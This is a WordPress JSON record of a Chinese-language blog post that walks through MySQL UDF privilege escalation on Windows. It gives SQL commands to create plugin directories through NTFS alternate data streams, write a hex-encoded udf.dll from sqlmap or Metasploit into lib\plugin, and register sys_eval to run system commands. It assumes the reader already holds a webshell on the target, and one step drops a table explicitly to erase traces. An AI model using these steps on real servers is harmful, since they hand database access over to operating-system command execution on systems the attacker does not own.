{"id":230,"date":"2022-04-12T17:01:20","date_gmt":"2022-04-12T09:01:20","guid":{"rendered":"http:\/\/danielw.top\/?p=230"},"modified":"2023-09-22T14:01:05","modified_gmt":"2023-09-22T06:01:05","slug":"mysql-udf%e6%8f%90%e6%9d%83","status":"publish","type":"post","link":"http:\/\/danielw.top\/?p=230","title":{"rendered":"MySQL-UDF\u63d0\u6743"},"content":{"rendered":"<h2>\u7b80\u4ecb<\/h2>\n<p>UDF\u4ecb\u7ecd\uff1aUser Defined<br \/>\nFunctions\u7b80\u79f0UDF\uff0c\u901a\u4fd7\u6765\u8bb2\u5c31\u662f\u7528\u6237\u53ef\u81ea\u5b9a\u4e49\u51fd\u6570\u3002udf\u63d0\u6743\u5c31\u662f\u5229\u7528\u5230\u521b\u5efa\u81ea\u5b9a\u4e49\u51fd\u6570\uff08sys_eval\uff09\uff0c\u5728mysql\u4e2d\u8c03\u7528\u8fd9\u4e2a\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\uff08sys_eval\uff09\u6765\u5b9e\u73b0\u83b7\u53d6\u5bf9\u65b9\u4e3b\u673a\u7684system\u7684shell\u6743\u9650\uff0c\u4ece\u800c\u8fbe\u5230\u63d0\u6743\u7684\u76ee\u7684\u3002<br \/>\n\u7b80\u5355\u6765\u8bf4\u4fbf\u662f\u5229\u7528\u63d0\u6743\u811a\u672c\u653e\u5230\u5bf9\u65b9mysql\u6307\u5b9a\u7684\u76ee\u5f55\u4e0b\uff08\\lib\\plugin\uff09\uff0c\u8fd0\u7528\u811a\u672c\u521b\u5efa\u81ea\u5b9a\u4e49\u51fd\u6570\uff0c\u4f7f\u7528\u51fd\u6570\u5373\u53ef\u83b7\u53d6shell\u6743\u9650<\/p>\n<p>Mysql\u7248\u672c\u5927\u4e8e5.1\u7248\u672c\uff1audf.dll\u6587\u4ef6\u5fc5\u987b\u653e\u7f6e\u4e8eMYSQL\u5b89\u88c5\u76ee\u5f55\u4e0b\u7684lib\\plugin\u6587\u4ef6\u5939\u4e0b\u3002<br \/>\nMysql\u7248\u672c\u5c0f\u4e8e5.1\u7248\u672c\uff1a udf.dll\u6587\u4ef6\u5728Windows2003\u4e0b\u653e\u7f6e\u4e8ec:\\windows\\system32\uff0c<br \/>\n\u5728windows2000\u4e0b\u653e\u7f6e\u4e8ec:\\winnt\\system32\u3002<br \/>\n\u5982\u679c\u76ee\u5f55\u4e0d\u5b58\u5728\u5219\u5229\u7528NTFS\u6570\u636e\u6d41\u521b\u5efa\u6587\u4ef6\u76ee\u5f55<\/p>\n<pre><code class=\"language-sql\">select &#039;It is dll&#039; into dumpfile &#039;C:\\\\phpStudy\\\\MySQL\\\\lib::$INDEX_ALLOCATION&#039;; \/\/\u5229\u7528NTFS ADS\u521b\u5efalib\u76ee\u5f55 \nselect &#039;It is dll&#039; into dumpfile &#039;C:\\\\phpStudy\\\\MySQL\\\\lib\\\\plugin::$INDEX_ALLOCATION&#039;; \/\/\u5229\u7528NTFS ADS\u521b\u5efaplugin\u76ee\u5f55<\/code><\/pre>\n<h2>\u63d0\u6743\u6761\u4ef6<\/h2>\n<p>1\uff09\u83b7\u53d6\u5230\u5bf9\u65b9mysql\u7684shell\uff0c\u6216\u8005\u662f\u83b7\u53d6\u5230mysql\u8d26\u53f7\u5bc6\u7801\uff0c\u80fd\u591f\u8c03\u7528mysql\u8bed\u53e5<br \/>\n2\uff09\u5bf9\u65b9mysql\u5177\u6709insert\u548cdelete\u6743\u9650\uff0c\u4e5f\u5c31\u662f\u53ef\u5199\u53ef\u5220\u9664\u6dfb\u52a0\u80fd\u591f\u521b\u5efa\u76ee\u5f55\uff0c\u5199\u5165\u6587\u4ef6<br \/>\n\u9a8c\u8bc1\u662f\u5426\u53ef\u5199\uff1a<\/p>\n<pre><code class=\"language-sql\">show global variables like &#039;secure%&#039;;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220412164208429.png\" alt=\"image-20220412164208429\" \/><\/p>\n<p>\u5982\u679csecure_file_priv\u503c\u4e3a\u7a7a\u5219\u53ef\u5199\uff0c\u4e3a\u6307\u5b9a\u8def\u52b2\u5219\u662f\u6307\u5b9a\u8def\u5f84\u53ef\u5199\uff0c\u9700\u8981\u5168\u90e8\u53ef\u5199\u9700\u8981\u5728mysql.ini\u914d\u7f6e\u6587\u4ef6\u6dfb\u52a0\u8bed\u53e5\uff1a\u5373\u53ef<br \/>\nsecure_file_priv\u662f\u9650\u5236\u51fd\u6570\u5728\u54ea\u4e2a\u76ee\u5f55\u4e0b\u62e5\u6709\u4e0a\u4f20\u6216\u8005\u8bfb\u53d6\u6587\u4ef6\u7684\u6743\u9650<\/p>\n<pre><code class=\"language-ini\">secure_file_priv=<\/code><\/pre>\n<p>3\uff09\u719f\u6089\u5bf9\u65b9mysql\u76ee\u5f55\u7ed3\u6784\uff0c\u4ee5\u53ca\u4e3b\u673a\u578b\u53f7\uff0c\u4ee5\u4fbf\u4f7f\u7528\u4e0d\u540c\u7684\u811a\u672c<br \/>\n\u67e5\u770b\u4e3b\u673a\u67b6\u6784\uff0c\u4ee5\u4fbf\u786e\u8ba4\u64cd\u4f5c\u7cfb\u7edf\u4f4d\u6570\uff0c\u4f7f\u7528\u4e0d\u540c\u7684udf.dll\u811a\u672c<\/p>\n<pre><code class=\"language-sql\">show variables like &#039;%compile%&#039;; <\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220412164914020.png\" alt=\"image-20220412164914020\" \/><\/p>\n<p>\u786e\u5b9amysql\u76ee\u5f55\u7ed3\u6784\uff0c\u641c\u7d22\u6211\u4eec\u9700\u8981\u7684\u76ee\u5f55\u4f4d\u7f6e<br \/>\n\u67e5\u770bplugin\u76ee\u5f55\u4f4d\u7f6e<\/p>\n<pre><code class=\"language-sql\">show variables like &#039;plugin%&#039;; #\u67e5\u627e\u5177\u4f53\u76ee\u5f55\nselect @@basedir;#\u67e5\u770bmysql\u76ee\u5f55<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220412164924882.png\" alt=\"image-20220412164924882\" \/><\/p>\n<p>3\uff09\u63d0\u6743\u811a\u672c\u6211\u5728\u8fd9\u91cc\u7b80\u79f0udf.dll<br \/>\n\u5728kali\u91cc\u9762\u81ea\u5e26udf\u63d0\u6743\u811a\u672c\uff0c\u5e76\u4e14\u670932\u4f4d\u4e0e64\u4f4d\u7248\u672c\uff0c\u4f7f\u7528\u53ea\u9700\u8981\u5c06\u6587\u4ef6\u5bfc\u51fa\u4f7f\u7528\u5373\u53ef<br \/>\n\u76ee\u5f55\u4f4d\u7f6e<\/p>\n<pre><code>\/usr\/share\/metasploit-framework\/data\/exploits\/mysql<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220412165001401.png\" alt=\"image-20220412165001401\" \/><\/p>\n<h2>\u63d0\u6743\u6b65\u9aa4<\/h2>\n<p><strong>1\uff09\u5c06\u6587\u4ef6\u653e\u5165\\lib\\plugin\u76ee\u5f55\u4e0b<\/strong><\/p>\n<p>\u62ff\u5230\u4e00\u4e2a\u7f51\u7ad9\u7684webshell\u4e4b\u540e\uff0c\u5728\u6307\u5b9a\u4f4d\u7f6e\u521b\u5efaudf\u6587\u4ef6\u3002\u5982\u4f55\u521b\u5efa\uff1f\u5148\u522b\u5fd8\u4e86\uff0c\u73b0\u5728\u8fde\u6e90udf\u6587\u4ef6\u90fd\u6ca1\u6709\u3002sqlmap\u4e2d\u6709\u73b0\u6210\u7684udf\u6587\u4ef6\uff0c\u5206\u4e3a32\u4f4d\u548c64\u4f4d\uff0c\u4e00\u5b9a\u8981\u9009\u62e9\u5bf9\u7248\u672c\uff0c\u5426\u5219\u4f1a\u663e\u793a\uff1aCan't open shared library 'udf.dll'\u3002\u83b7\u53d6sqlmap\u7684udf\u8bf7\u770b\u94fe\u63a5\uff1a<a href=\"https:\/\/blog.csdn.net\/x728999452\/article\/details\/52413974\" target=\"_blank\"  rel=\"nofollow\" >MySQL \u5229\u7528UDF\u6267\u884c\u547d\u4ee4<\/a><\/p>\n<p>\u7136\u540e\u5c06\u83b7\u5f97\u7684udf.dll\u6587\u4ef6\u8f6c\u6362\u621016\u8fdb\u5236\uff0c\u4e00\u79cd\u601d\u8def\u662f\u5728\u672c\u5730\u4f7f\u7528mysql\u51fd\u6570hex\uff1a<\/p>\n<pre><code class=\"language-sql\">CopySELECT hex(load_file(dll\u6587\u4ef6\u4f4d\u7f6e\u768416\u8fdb\u5236\u5f62\u5f0f)) into dumpfile &#039;C:\\\\Users\\\\daniel\\\\Desktop\\\\gg.txt&#039;;<\/code><\/pre>\n<p>\u6b64\u65f6gg.txt\u6587\u4ef6\u7684\u5185\u5bb9\u5c31\u662fudf\u6587\u4ef6\u768416\u8fdb\u5236\u5f62\u5f0f<\/p>\n<p>\u63a5\u4e0b\u6765\u5c31\u662f\u628a\u672c\u5730\u7684udf16\u8fdb\u5236\u5f62\u5f0f\u901a\u8fc7\u6211\u4eec\u5df2\u7ecf\u83b7\u5f97\u7684webshell\u4f20\u5230\u76ee\u6807\u4e3b\u673a\u4e0a\u3002<\/p>\n<pre><code class=\"language-sql\">Copy1. CREATE TABLE udftmp (c blob); \/\/\u65b0\u5efa\u4e00\u4e2a\u8868\uff0c\u540d\u4e3audftmp\uff0c\u7528\u4e8e\u5b58\u653e\u672c\u5730\u4f20\u6765\u7684udf\u6587\u4ef6\u7684\u5185\u5bb9\u3002\n2. INSERT INTO udftmp values(unhex(&#039;udf\u6587\u4ef6\u768416\u8fdb\u5236\u683c\u5f0f&#039;)); \/\/\u5728udftmp\u4e2d\u5199\u5165udf\u6587\u4ef6\u5185\u5bb9\n3. SELECT c FROM udftmp INTO DUMPFILE &#039;H:\\\\PHPStudy\\\\PHPTutorial\\\\MySQL\\\\lib\\\\plugin\\\\udf.dll&#039;; \/\/\u5c06udf\u6587\u4ef6\u5185\u5bb9\u4f20\u5165\u65b0\u5efa\u7684udf\u6587\u4ef6\u4e2d\uff0c\u8def\u5f84\u6839\u636e\u81ea\u5df1\u7684@@basedir\u4fee\u6539\n\/\/\u5bf9\u4e8emysql\u5c0f\u4e8e5.1\u7684\uff0c\u5bfc\u51fa\u76ee\u5f55\u4e3aC:\\Windows\\\u6216C:\\Windows\\System32\\<\/code><\/pre>\n<p>\u5230\u8fd9\u513f\u5982\u679c\u6ca1\u6709\u62a5\u9519\u7684\u8bdd\u5c31\u8bf4\u660e\u5df2\u7ecf\u5728\u76ee\u6807\u4e3b\u673a\u4e0a\u6210\u529f\u751f\u6210\u4e86udf\u6587\u4ef6\u3002\u4e0b\u9762\u8981\u5bfc\u5165udf\u51fd\u6570\uff1a<\/p>\n<pre><code class=\"language-sql\">DROP TABLE udftmp; \/\/\u4e3a\u4e86\u5220\u9664\u75d5\u8ff9\uff0c\u628a\u521a\u521a\u65b0\u5efa\u7684udftmp\u8868\u5220\u6389\nCREATE FUNCTION sys_eval RETURNS STRING SONAME &#039;udf.dll&#039;; \/\/\u5bfc\u5165udf\u51fd\u6570<\/code><\/pre>\n<p>\u5bfc\u5165\u6210\u529f\u7684\u8bdd\u5c31\u53ef\u4ee5\u4f7f\u7528\u4e86\uff1a<\/p>\n<pre><code class=\"language-sql\">SELECT sys_eval(&#039;ipconfig&#039;);\n\u8fd4\u56de\u7f51\u5361\u4fe1\u606f<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u7b80\u4ecb UDF\u4ecb\u7ecd\uff1aUser Defined Functions\u7b80\u79f0UDF\uff0c\u901a\u4fd7\u6765\u8bb2\u5c31\u662f\u7528\u6237\u53ef\u81ea\u5b9a\u4e49\u51fd\u6570\u3002udf\u63d0\u6743\u5c31\u662f\u5229\u7528\u5230\u521b\u5efa\u81ea &#8230;<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-230","post","type-post","status-publish","format-standard","hentry","category-3"],"_links":{"self":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/230","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=230"}],"version-history":[{"count":1,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/230\/revisions"}],"predecessor-version":[{"id":231,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/230\/revisions\/231"}],"wp:attachment":[{"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=230"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=230"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=230"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}